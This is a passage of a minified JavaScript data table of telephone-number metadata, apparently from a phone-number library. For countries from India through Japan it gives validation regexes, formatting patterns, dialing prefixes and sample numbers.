"0$1",,1],[,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1(?:[2-479]|5[0235-9])|[2-5]|6(?:1[1358]|2[2457-9]|3[2-5]|4[235-7]|5[2-689]|6[24578]|7[235689]|8[1-6])|7(?:1[013-9]|28|3[129]|4[1-35689]|5[29]|6[02-5]|70)|807","1(?:[2-479]|5[0235-9])|[2-5]|6(?:1[1358]|2(?:[2457]|84|95)|3(?:[2-4]|55)|4[235-7]|5[2-689]|6[24578]|7[235689]|8[1-6])|7(?:1(?:[013-8]|9[6-9])|28[6-8]|3(?:17|2[0-49]|9[2-57])|4(?:1[2-4]|[29][0-7]|3[0-8]|[56]|8[0-24-7])|5(?:2[1-3]|9[0-6])|6(?:0[5689]|2[5-9]|3[02-8]|4|5[0-367])|70[13-7])|807[19]",
"1(?:[2-479]|5(?:[0236-9]|5[013-9]))|[2-5]|6(?:2(?:84|95)|355|83)|73179|807(?:1|9[1-3])|(?:1552|6(?:1[1358]|2[2457]|3[2-4]|4[235-7]|5[2-689]|6[24578]|7[235689]|8[124-6])\\d|7(?:1(?:[013-8]\\d|9[6-9])|28[6-8]|3(?:2[0-49]|9[2-57])|4(?:1[2-4]|[29][0-7]|3[0-8]|[56]\\d|8[0-24-7])|5(?:2[1-3]|9[0-6])|6(?:0[5689]|2[5-9]|3[02-8]|4\\d|5[0-367])|70[13-7]))[2-7]"],"0$1",,1],[,"(\\d{5})(\\d{5})","$1 $2",["[6-9]"],"0$1",,1],[,"(\\d{4})(\\d{2,4})(\\d{4})","$1 $2 $3",["1(?:6|8[06])","1(?:6|8[06]0)"],,,1],[,"(\\d{3})(\\d{3})(\\d{3})(\\d{4})",
"$1 $2 $3 $4",["0"]],[,"(\\d{4})(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3 $4",["18"],,,1]],[[,"(\\d{8})","$1",["5(?:0|2[23]|3[03]|[67]1|88)","5(?:0|2(?:21|3)|3(?:0|3[23])|616|717|888)","5(?:0|2(?:21|3)|3(?:0|3[23])|616|717|8888)"],,,1],[,"(\\d{4})(\\d{4,5})","$1 $2",["180","1800"],,,1],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["140"],,,1],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["11|2[02]|33|4[04]|79[1-7]|80[2-46]","11|2[02]|33|4[04]|79(?:[1-6]|7[19])|80(?:[2-4]|6[0-589])","11|2[02]|33|4[04]|79(?:[124-6]|3(?:[02-9]|1[0-24-9])|7(?:1|9[1-6]))|80(?:[2-4]|6[0-589])"],
"0$1",,1],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["1(?:2[0-249]|3[0-25]|4[145]|[68]|7[1257])|2(?:1[257]|3[013]|4[01]|5[0137]|6[0158]|78|8[1568])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|5[12]|[78]1)|6(?:12|[2-4]1|5[17]|6[13]|80)|7(?:12|3[134]|4[47]|61|88)|8(?:16|2[014]|3[126]|6[136]|7[078]|8[34]|91)|(?:43|59|75)[15]|(?:1[59]|29|67|72)[14]","1(?:2[0-24]|3[0-25]|4[145]|[59][14]|6[1-9]|7[1257]|8[1-57-9])|2(?:1[257]|3[013]|4[01]|5[0137]|6[058]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|[578]1|9[15])|674|7(?:(?:2[14]|3[34]|5[15])[2-6]|61[346]|88[0-8])|8(?:70[2-6]|84[235-7]|91[3-7])|(?:1(?:29|60|8[06])|261|552|6(?:12|[2-47]1|5[17]|6[13]|80)|7(?:12|31|4[47])|8(?:16|2[014]|3[126]|6[136]|7[78]|83))[2-7]",
"1(?:2[0-24]|3[0-25]|4[145]|[59][14]|6[1-9]|7[1257]|8[1-57-9])|2(?:1[257]|3[013]|4[01]|5[0137]|6[058]|78|8[1568]|9[14])|3(?:26|4[1-3]|5[34]|6[01489]|7[02-46]|8[159])|4(?:1[36]|2[1-47]|3[15]|5[12]|6[0-26-9]|7[0-24-9]|8[013-57]|9[014-7])|5(?:1[025]|22|[36][25]|4[28]|[578]1|9[15])|6(?:12(?:[2-6]|7[0-8])|74[2-7])|7(?:(?:2[14]|5[15])[2-6]|3171|61[346]|88(?:[2-7]|82))|8(?:70[2-6]|84(?:[2356]|7[19])|91(?:[3-6]|7[19]))|73[134][2-6]|(?:74[47]|8(?:16|2[014]|3[126]|6[136]|7[78]|83))(?:[2-6]|7[19])|(?:1(?:29|60|8[06])|261|552|6(?:[2-4]1|5[17]|6[13]|7(?:1|4[0189])|80)|7(?:12|88[01]))[2-7]"],
"0$1",,1],[,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1(?:[2-479]|5[0235-9])|[2-5]|6(?:1[1358]|2[2457-9]|3[2-5]|4[235-7]|5[2-689]|6[24578]|7[235689]|8[1-6])|7(?:1[013-9]|28|3[129]|4[1-35689]|5[29]|6[02-5]|70)|807","1(?:[2-479]|5[0235-9])|[2-5]|6(?:1[1358]|2(?:[2457]|84|95)|3(?:[2-4]|55)|4[235-7]|5[2-689]|6[24578]|7[235689]|8[1-6])|7(?:1(?:[013-8]|9[6-9])|28[6-8]|3(?:17|2[0-49]|9[2-57])|4(?:1[2-4]|[29][0-7]|3[0-8]|[56]|8[0-24-7])|5(?:2[1-3]|9[0-6])|6(?:0[5689]|2[5-9]|3[02-8]|4|5[0-367])|70[13-7])|807[19]",
"1(?:[2-479]|5(?:[0236-9]|5[013-9]))|[2-5]|6(?:2(?:84|95)|355|83)|73179|807(?:1|9[1-3])|(?:1552|6(?:1[1358]|2[2457]|3[2-4]|4[235-7]|5[2-689]|6[24578]|7[235689]|8[124-6])\\d|7(?:1(?:[013-8]\\d|9[6-9])|28[6-8]|3(?:2[0-49]|9[2-57])|4(?:1[2-4]|[29][0-7]|3[0-8]|[56]\\d|8[0-24-7])|5(?:2[1-3]|9[0-6])|6(?:0[5689]|2[5-9]|3[02-8]|4\\d|5[0-367])|70[13-7]))[2-7]"],"0$1",,1],[,"(\\d{5})(\\d{5})","$1 $2",["[6-9]"],"0$1",,1],[,"(\\d{4})(\\d{2,4})(\\d{4})","$1 $2 $3",["1(?:6|8[06])","1(?:6|8[06]0)"],,,1],[,"(\\d{4})(\\d{3})(\\d{3})(\\d{3})",
"$1 $2 $3 $4",["18"],,,1]],[,,,,,,,,,[-1]],,,[,,"1(?:600\\d{6}|800\\d{4,9})|(?:000800|18(?:03\\d\\d|6(?:0|[12]\\d\\d)))\\d{7}"],[,,"140\\d{7}",,,,"1409305260",,,[10]],,,[,,,,,,,,,[-1]]],IO:[,[,,"3\\d{6}",,,,,,,[7]],[,,"37\\d{5}",,,,"3709100"],[,,"38\\d{5}",,,,"3801234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"IO",246,"00",,,,,,,,[[,"(\\d{3})(\\d{4})","$1 $2",["3"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],IQ:[,[,,"(?:1|7\\d\\d)\\d{7}|[2-6]\\d{7,8}",
,,,,,,[8,9,10],[6,7]],[,,"1\\d{7}|(?:2[13-5]|3[02367]|4[023]|5[03]|6[026])\\d{6,7}",,,,"12345678",,,[8,9],[6,7]],[,,"7[3-9]\\d{8}",,,,"7912345678",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"IQ",964,"00","0",,,"0",,,,[[,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["1"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[2-6]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["7"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],IR:[,
[,,"[1-9]\\d{9}|(?:[1-8]\\d\\d|9)\\d{3,4}",,,,,,,[4,5,6,7,10],[8]],[,,"(?:1[137]|2[13-68]|3[1458]|4[145]|5[1468]|6[16]|7[1467]|8[13467])(?:[03-57]\\d{7}|[16]\\d{3}(?:\\d{4})?|[289]\\d{3}(?:\\d(?:\\d{3})?)?)|94(?:000[09]|(?:12\\d|30[0-2])\\d|2(?:121|[2689]0\\d)|4(?:111|40\\d))\\d{4}",,,,"2123456789",,,[6,7,10],[4,5,8]],[,,"9(?:(?:0(?:[0-35]\\d|4[4-6])|(?:[13]\\d|2[0-3])\\d)\\d|9(?:[0-46]\\d\\d|5[15]0|8(?:[12]\\d|88)|9(?:0[0-3]|[19]\\d|21|69|77|8[7-9])))\\d{5}",,,,"9123456789",,,[10]],[,,,,,,,,,[-1]],
[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"IR",98,"00","0",,,"0",,,,[[,"(\\d{4,5})","$1",["96"],"0$1"],[,"(\\d{2})(\\d{4,5})","$1 $2",["(?:1[137]|2[13-68]|3[1458]|4[145]|5[1468]|6[16]|7[1467]|8[13467])[12689]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["9"],"0$1"],[,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["[1-8]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,"9(?:4440\\d{5}|6(?:0[12]|2[16-8]|3(?:08|[14]5|[23]|66)|4(?:0|80)|5[01]|6[89]|86|9[19]))",,,,,,,[4,5,10]],[,,"96(?:0[12]|2[16-8]|3(?:08|[14]5|[23]|66)|4(?:0|80)|5[01]|6[89]|86|9[19])",
,,,"9601",,,[4,5]],,,[,,,,,,,,,[-1]]],IS:[,[,,"(?:38\\d|[4-9])\\d{6}",,,,,,,[7,9]],[,,"(?:4(?:1[0-24-69]|2[0-7]|[37][0-8]|4[0-24589]|5[0-68]|6\\d|8[0-36-8])|5(?:05|[156]\\d|2[02578]|3[0-579]|4[03-7]|7[0-2578]|8[0-35-9]|9[013-689])|872)\\d{4}",,,,"4101234",,,[7]],[,,"(?:38[589]\\d\\d|6(?:1[1-8]|2[0-6]|3[026-9]|4[014679]|5[0159]|6[0-69]|70|8[06-8]|9\\d)|7(?:5[057]|[6-9]\\d)|8(?:2[0-59]|[3-69]\\d|8[238]))\\d{4}",,,,"6111234"],[,,"80[0-8]\\d{4}",,,,"8001234",,,[7]],[,,"90(?:0\\d|1[5-79]|2[015-79]|3[135-79]|4[125-7]|5[25-79]|7[1-37]|8[0-35-7])\\d{3}",
,,,"9001234",,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"49[0-24-79]\\d{4}",,,,"4921234",,,[7]],"IS",354,"00|1(?:0(?:01|[12]0)|100)",,,,,,"00",,[[,"(\\d{3})(\\d{4})","$1 $2",["[4-9]"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["3"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"809\\d{4}",,,,"8091234",,,[7]],,,[,,"(?:689|8(?:7[18]|80)|95[48])\\d{4}",,,,"6891234",,,[7]]],IT:[,[,,"0\\d{5,10}|1\\d{8,10}|3(?:[0-8]\\d{7,10}|9\\d{7,8})|(?:43|55|70)\\d{8}|8\\d{5}(?:\\d{2,4})?",,,,,,,[6,7,8,9,10,11,12]],[,,"0669[0-79]\\d{1,6}|0(?:1(?:[0159]\\d|[27][1-5]|31|4[1-4]|6[1356]|8[2-57])|2\\d\\d|3(?:[0159]\\d|2[1-4]|3[12]|[48][1-6]|6[2-59]|7[1-7])|4(?:[0159]\\d|[23][1-9]|4[245]|6[1-5]|7[1-4]|81)|5(?:[0159]\\d|2[1-5]|3[2-6]|4[1-79]|6[4-6]|7[1-578]|8[3-8])|6(?:[0-57-9]\\d|6[0-8])|7(?:[0159]\\d|2[12]|3[1-7]|4[2-46]|6[13569]|7[13-6]|8[1-59])|8(?:[0159]\\d|2[3-578]|3[1-356]|[6-8][1-5])|9(?:[0159]\\d|[238][1-5]|4[12]|6[1-8]|7[1-6]))\\d{2,7}",
,,,"0212345678",,,[6,7,8,9,10,11]],[,,"3[2-9]\\d{7,8}|(?:31|43)\\d{8}",,,,"3123456789",,,[9,10]],[,,"80(?:0\\d{3}|3)\\d{3}",,,,"800123456",,,[6,9]],[,,"(?:0878\\d{3}|89(?:2\\d|3[04]|4(?:[0-4]|[5-9]\\d\\d)|5[0-4]))\\d\\d|(?:1(?:44|6[346])|89(?:38|5[5-9]|9))\\d{6}",,,,"899123456",,,[6,8,9,10]],[,,"84(?:[08]\\d{3}|[17])\\d{3}",,,,"848123456",,,[6,9]],[,,"1(?:78\\d|99)\\d{6}",,,,"1781234567",,,[9,10]],[,,"55\\d{8}",,,,"5512345678",,,[10]],"IT",39,"00",,,,,,,,[[,"(\\d{4,5})","$1",["1(?:0|9[246])","1(?:0|9(?:2[2-9]|[46]))"]],
[,"(\\d{6})","$1",["1(?:1|92)"]],[,"(\\d{2})(\\d{4,6})","$1 $2",["0[26]"]],[,"(\\d{3})(\\d{3,6})","$1 $2",["0[13-57-9][0159]|8(?:03|4[17]|9[2-5])","0[13-57-9][0159]|8(?:03|4[17]|9(?:2|3[04]|[45][0-4]))"]],[,"(\\d{4})(\\d{2,6})","$1 $2",["0(?:[13-579][2-46-8]|8[236-8])"]],[,"(\\d{4})(\\d{4})","$1 $2",["894"]],[,"(\\d{2})(\\d{3,4})(\\d{4})","$1 $2 $3",["0[26]|5"]],[,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["1(?:44|[679])|[378]|43"]],[,"(\\d{3})(\\d{3,4})(\\d{4})","$1 $2 $3",["0[13-57-9][0159]|14"]],
[,"(\\d{2})(\\d{4})(\\d{5})","$1 $2 $3",["0[26]"]],[,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["0"]],[,"(\\d{3})(\\d{4})(\\d{4,5})","$1 $2 $3",["3"]]],[[,"(\\d{2})(\\d{4,6})","$1 $2",["0[26]"]],[,"(\\d{3})(\\d{3,6})","$1 $2",["0[13-57-9][0159]|8(?:03|4[17]|9[2-5])","0[13-57-9][0159]|8(?:03|4[17]|9(?:2|3[04]|[45][0-4]))"]],[,"(\\d{4})(\\d{2,6})","$1 $2",["0(?:[13-579][2-46-8]|8[236-8])"]],[,"(\\d{4})(\\d{4})","$1 $2",["894"]],[,"(\\d{2})(\\d{3,4})(\\d{4})","$1 $2 $3",["0[26]|5"]],[,"(\\d{3})(\\d{3})(\\d{3,4})",
"$1 $2 $3",["1(?:44|[679])|[378]|43"]],[,"(\\d{3})(\\d{3,4})(\\d{4})","$1 $2 $3",["0[13-57-9][0159]|14"]],[,"(\\d{2})(\\d{4})(\\d{5})","$1 $2 $3",["0[26]"]],[,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["0"]],[,"(\\d{3})(\\d{4})(\\d{4,5})","$1 $2 $3",["3"]]],[,,,,,,,,,[-1]],1,,[,,"848\\d{6}",,,,,,,[9]],[,,,,,,,,,[-1]],,,[,,"3[2-8]\\d{9,10}",,,,"33101234501",,,[11,12]]],JE:[,[,,"1534\\d{6}|(?:[3578]\\d|90)\\d{8}",,,,,,,[10],[6]],[,,"1534[0-24-8]\\d{5}",,,,"1534456789",,,,[6]],[,,"7(?:(?:(?:50|82)9|937)\\d|7(?:00[378]|97\\d))\\d{5}",
,,,"7797712345"],[,,"80(?:07(?:35|81)|8901)\\d{4}",,,,"8007354567"],[,,"(?:8(?:4(?:4(?:4(?:05|42|69)|703)|5(?:041|800))|7(?:0002|1206))|90(?:066[59]|1810|71(?:07|55)))\\d{4}",,,,"9018105678"],[,,,,,,,,,[-1]],[,,"701511\\d{4}",,,,"7015115678"],[,,"56\\d{8}",,,,"5612345678"],"JE",44,"00","0",,,"([0-24-8]\\d{5})$|0","1534$1",,,,,[,,"76(?:464|652)\\d{5}|76(?:0[0-28]|2[356]|34|4[01347]|5[49]|6[0-369]|77|8[14]|9[139])\\d{6}",,,,"7640123456"],,,[,,,,,,,,,[-1]],[,,"(?:3(?:0(?:07(?:35|81)|8901)|3\\d{4}|4(?:4(?:4(?:05|42|69)|703)|5(?:041|800))|7(?:0002|1206))|55\\d{4})\\d{4}",
,,,"5512345678"],,,[,,,,,,,,,[-1]]],JM:[,[,,"(?:[58]\\d\\d|658|900)\\d{7}",,,,,,,[10],[7]],[,,"8766060\\d{3}|(?:658(?:2(?:[0-8]\\d|9[0-46-9])|[3-9]\\d\\d)|876(?:52[35]|6(?:0[1-3579]|1[0235-9]|[23]\\d|40|5[06]|6[2-589]|7[0-25-9]|8[04]|9[4-9])|7(?:0[2-689]|[1-6]\\d|8[056]|9[45])|9(?:0[1-8]|1[02378]|[2-8]\\d|9[2-468])))\\d{4}",,,,"8765230123",,,,[7]],[,,"(?:658295|876(?:2(?:0[1-9]|[13-9]\\d|2[013-9])|[348]\\d\\d|5(?:0[1-9]|[1-9]\\d)|6(?:4[89]|6[67])|7(?:0[07]|7\\d|8[1-47-9]|9[0-36-9])|9(?:[01]9|9[0579])))\\d{4}",
,,,"8762101234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,,,,,,,,[-1]],"JM",1,"011","1",,,"1",,,,,,[,,,,,,,,,[-1]],,"658|876",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,
,,,,[-1]]],JO:[,[,,"(?:(?:[2689]|7\\d)\\d|32|53)\\d{6}",,,,,,,[8,9]],[,,"87(?:000|90[01])\\d{3}|(?:2(?:6(?:2[0-35-9]|3[0-578]|4[24-7]|5[0-24-8]|[6-8][023]|9[0-3])|7(?:0[1-79]|10|2[014-7]|3[0-689]|4[019]|5[0-3578]))|32(?:0[1-69]|1[1-35-7]|2[024-7]|3\\d|4[0-3]|[5-7][023])|53(?:0[0-3]|[13][023]|2[0-59]|49|5[0-35-9]|6[15]|7[45]|8[1-6]|9[0-36-9])|6(?:2(?:[05]0|22)|3(?:00|33)|4(?:0[0-25]|1[2-7]|2[0569]|[38][07-9]|4[025689]|6[0-589]|7\\d|9[0-2])|5(?:[01][056]|2[034]|3[0-57-9]|4[178]|5[0-69]|6[0-35-9]|7[1-379]|8[0-68]|9[0239]))|87(?:20|7[078]|99))\\d{4}",
,,,"62001234",,,[8]],[,,"7(?:[78][0-25-9]|9\\d)\\d{6}",,,,"790123456",,,[9]],[,,"80\\d{6}",,,,"80012345",,,[8]],[,,"9\\d{7}",,,,"90012345",,,[8]],[,,"85\\d{6}",,,,"85012345",,,[8]],[,,"70\\d{7}",,,,"700123456",,,[9]],[,,,,,,,,,[-1]],"JO",962,"00","0",,,"0",,,,[[,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["[2356]|87"],"(0$1)"],[,"(\\d{3})(\\d{5,6})","$1 $2",["[89]"],"0$1"],[,"(\\d{2})(\\d{7})","$1 $2",["70"],"0$1"],[,"(\\d)(\\d{4})(\\d{4})","$1 $2 $3",["7"],"0$1"]],,[,,"74(?:66|77)\\d{5}",,,,"746612345",
,,[9]],,,[,,,,,,,,,[-1]],[,,"8(?:10|8\\d)\\d{5}",,,,"88101234",,,[8]],,,[,,,,,,,,,[-1]]],JP:[,[,,"00[1-9]\\d{6,14}|[257-9]\\d{9}|(?:00|[1-9]\\d\\d)\\d{6}",,,,,,,[8,9,10,11,12,13,14,15,16,17]],[,,"(?:1(?:1[235-8]|2[3-6]|3[3-9]|4[2-6]|[58][2-8]|6[2-7]|7[2-9]|9[1-9])|(?:2[2-9]|[36][1-9])\\d|4(?:[2-578]\\d|6[02-8]|9[2-59])|5(?:[2-589]\\d|6[1-9]|7[2-8])|7(?:[25-9]\\d|3[4-9]|4[02-9])|8(?:[2679]\\d|3[2-9]|4[5-9]|5[1-9]|8[03-9])|9(?:[2-58]\\d|[679][1-9]))\\d{6}",,,,"312345678",,,[9]],[,,"[7-9]0[1-9]\\d{7}",
,,,"9012345678",,,[10]],[,,"00777(?:[01]|5\\d)\\d\\d|(?:00(?:7778|882[1245])|(?:120|800\\d)\\d\\d)\\d{4}|00(?:37|66|78)\\d{6,13}",,,,"120123456"],[,,"990\\d{6}",,,,"990123456",,,[9]],[,,,,,,,,,[-1]],[,,"60\\d{7}",,,,"601234567",,,[9]],[,,"50[1-9]\\d{7}",,,,"5012345678",,,[10]],"JP",81,"010","0",,,"(000[259]\\d{6})$|(?:(?:003768)0?)|0","$1",,,[[,"(\\d{4})(\\d{4})","$1-$2",["007","0077","00777","00777[01]"]],[,"(\\d{3})(\\d{3})(\\d{3})","$1-$2-$3",["(?:12|57|99)0"],"0$1"],[,"(\\d{4})(\\d)(\\d{4})",
"$1-$2-$3",["1(?:26|3[79]|4[56]|5[4-68]|6[3-5])|499|5(?:76|97)|746|8(?:3[89]|47|51)|9(?:80|9[16])","1(?:267|3(?:7[247]|9[278])|466|5(?:47|58|64)|6(?:3[245]|48|5[4-68]))|499[2468]|5(?:76|97)9|7468|8(?:3(?:8[7-9]|96)|477|51[2-9])|9(?:802|9(?:1[23]|69))|1(?:45|58)[67]","1(?:267|3(?:7[247]|9[278])|466|5(?:47|58|64)|6(?:3[245]|48|5[4-68]))|499[2468]|5(?:769|979[2-69])|7468|8(?:3(?:8[7-9]|96[2457-9])|477|51[2-9])|9(?:802|9(?:1[23]|69))|1(?:45|58)[67]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["60"],
"0$1"],[,"(\\d)(\\d{4})(\\d{4})","$1-$2-$3",["[36]|4(?:2[09]|7[01])","[36]|4(?:2(?:0|9[02-69])|7(?:0[019]|1))"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["1(?:1|5[45]|77|88|9[69])|2(?:2[1-37]|3[0-269]|4[59]|5|6[24]|7[1-358]|8[1369]|9[0-38])|4(?:[28][1-9]|3[0-57]|[45]|6[248]|7[2-579]|9[29])|5(?:2|3[0459]|4[0-369]|5[29]|8[02389]|9[0-389])|7(?:2[02-46-9]|34|[58]|6[0249]|7[57]|9[2-6])|8(?:2[124589]|3[26-9]|49|51|6|7[0-468]|8[68]|9[019])|9(?:[23][1-9]|4[15]|5[138]|6[1-3]|7[156]|8[189]|9[1-489])",
"1(?:1|5(?:4[018]|5[017])|77|88|9[69])|2(?:2(?:[127]|3[014-9])|3[0-269]|4[59]|5(?:[1-3]|5[0-69]|9[19])|62|7(?:[1-35]|8[0189])|8(?:[16]|3[0134]|9[0-5])|9(?:[028]|17))|4(?:2(?:[13-79]|8[014-6])|3[0-57]|[45]|6[248]|7[2-47]|8[1-9]|9[29])|5(?:2|3(?:[045]|9[0-8])|4[0-369]|5[29]|8[02389]|9[0-3])|7(?:2[02-46-9]|34|[58]|6[0249]|7[57]|9(?:[23]|4[0-59]|5[01569]|6[0167]))|8(?:2(?:[1258]|4[0-39]|9[0-2469])|3(?:[29]|60)|49|51|6(?:[0-24]|36|5[0-3589]|7[23]|9[01459])|7[0-468]|8[68])|9(?:[23][1-9]|4[15]|5[138]|6[1-3]|7[156]|8[189]|9(?:[1289]|3[34]|4[0178]))|(?:264|837)[016-9]|2(?:57|93)[015-9]|(?:25[0468]|422|838)[01]|(?:47[59]|59[89]|8(?:6[68]|9))[019]",
"1(?:1|5(?:4[018]|5[017])|77|88|9[69])|2(?:2[127]|3[0-269]|4[59]|5(?:[1-3]|5[0-69]|9(?:17|99))|6(?:2|4[016-9])|7(?:[1-35]|8[0189])|8(?:[16]|3[0134]|9[0-5])|9(?:[028]|17))|4(?:2(?:[13-79]|8[014-6])|3[0-57]|[45]|6[248]|7[2-47]|9[29])|5(?:2|3(?:[045]|9(?:[0-58]|6[4-9]|7[0-35689]))|4[0-369]|5[29]|8[02389]|9[0-3])|7(?:2[02-46-9]|34|[58]|6[0249]|7[57]|9(?:[23]|4[0-59]|5[01569]|6[0167]))|8(?:2(?:[1258]|4[0-39]|9[0169])|3(?:[29]|60|7(?:[017-9]|6[6-8]))|49|51|6(?:[0-24]|36[2-57-9]|5(?:[0-389]|5[23])|6(?:[01]|9[178])|7(?:2[2-468]|3[78])|9[0145])|7[0-468]|8[68])|9(?:4[15]|5[138]|7[156]|8[189]|9(?:[1289]|3(?:31|4[357])|4[0178]))|(?:8294|96)[1-3]|2(?:57|93)[015-9]|(?:223|8699)[014-9]|(?:25[0468]|422|838)[01]|(?:48|8292|9[23])[1-9]|(?:47[59]|59[89]|8(?:68|9))[019]"],
"0$1"],[,"(\\d{3})(\\d{2})(\\d{4})","$1-$2-$3",["[14]|[289][2-9]|5[3-9]|7[2-4679]"],"0$1"],[,"(\\d{4})(\\d{2})(\\d{3,4})","$1-$2-$3",["007","0077"]],[,"(\\d{4})(\\d{2})(\\d{4})","$1-$2-$3",["008"]],[,"(\\d{3})(\\d{3})(\\d{4})","$1-$2-$3",["800"],"0$1"],[,"(\\d{2})(\\d{4})(\\d{4})","$1-$2-$3",["[257-9]"],"0$1"],[,"(\\d{4})(\\d{3})(\\d{3,4})","$1-$2-$3",["0"]],[,"(\\d{4})(\\d{4})(\\d{4,5})","$1-$2-$3",["0"]],[,"(\\d{4})(\\d{5})(\\d{5,6})","$1-$2-$3",["0"]],[,"(\\d{4})(\\d{6})(\\d{6,7})","$1-$2-$3",
["0"]]],[[,"(\\d{3})(\\d{3})(\\d{3})","$1-$2-$3",["(?:12|57|99)0"],"0$1"],[,"(\\d{4})(\\d)(\\d{4})","$1-$2-$3",["1(?:26|3[79]|4[56]|5[4-68]|6[3-5])|499|5(?:76|97)|746|8(?:3[89]|47|51)|9(?:80|9[16])","1(?:267|3(?:7[247]|9[278])|466|5(?:47|58|64)|6(?:3[245]|48|5[4-68]))|499[2468]|5(?:76|97)9|7468|8(?:3(?:8[7-9]|96)|477|51[2-9])|9(?:802|9(?:1[23]|69))|1(?:45|58)[67]","1(?:267|3(?:7[247]|9[278])|466|5(?:47|58|64)|6(?:3[245]|48|5[4-68]))|499[2468]|5(?:769|979[2-69])|7468|8(?:3(?:8[7-9]|96[2457-9])|477|51[2-9])|9(?:802|9(?:1[23]|69))|1(?:45|58)[67]"],
"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["60"],"0$1"],[,"(\\d)(\\d{4})(\\d{4})","$1-$2-$3",["[36]|4(?:2[09]|7[01])","[36]|4(?:2(?:0|9[02-69])|7(?:0[019]|1))"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["1(?:1|5[45]|77|88|9[69])|2(?:2[1-37]|3[0-269]|4[59]|5|6[24]|7[1-358]|8[1369]|9[0-38])|4(?:[28][1-9]|3[0-57]|[45]|6[248]|7[2-579]|9[29])|5(?:2|3[0459]|4[0-369]|5[29]|8[02389]|9[0-389])|7(?:2[02-46-9]|34|[58]|6[0249]|7[57]|9[2-6])|8(?:2[124589]|3[26-9]|49|51|6|7[0-468]|8[68]|9[019])|9(?:[23][1-9]|4[15]|5[138]|6[1-3]|7[156]|8[189]|9[1-489])",
"1(?:1|5(?:4[018]|5[017])|77|88|9[69])|2(?:2(?:[127]|3[014-9])|3[0-269]|4[59]|5(?:[1-3]|5[0-69]|9[19])|62|7(?:[1-35]|8[0189])|8(?:[16]|3[0134]|9[0-5])|9(?:[028]|17))|4(?:2(?:[13-79]|8[014-6])|3[0-57]|[45]|6[248]|7[2-47]|8[1-9]|9[29])|5(?:2|3(?:[045]|9[0-8])|4[0-369]|5[29]|8[02389]|9[0-3])|7(?:2[02-46-9]|34|[58]|6[0249]|7[57]|9(?:[23]|4[0-59]|5[01569]|6[0167]))|8(?:2(?:[1258]|4[0-39]|9[0-2469])|3(?:[29]|60)|49|51|6(?:[0-24]|36|5[0-3589]|7[23]|9[01459])|7[0-468]|8[68])|9(?:[23][1-9]|4[15]|5[138]|6[1-3]|7[156]|8[189]|9(?:[1289]|3[34]|4[0178]))|(?:264|837)[016-9]|2(?:57|93)[015-9]|(?:25[0468]|422|838)[01]|(?:47[59]|59[89]|8(?:6[68]|9))[019]",
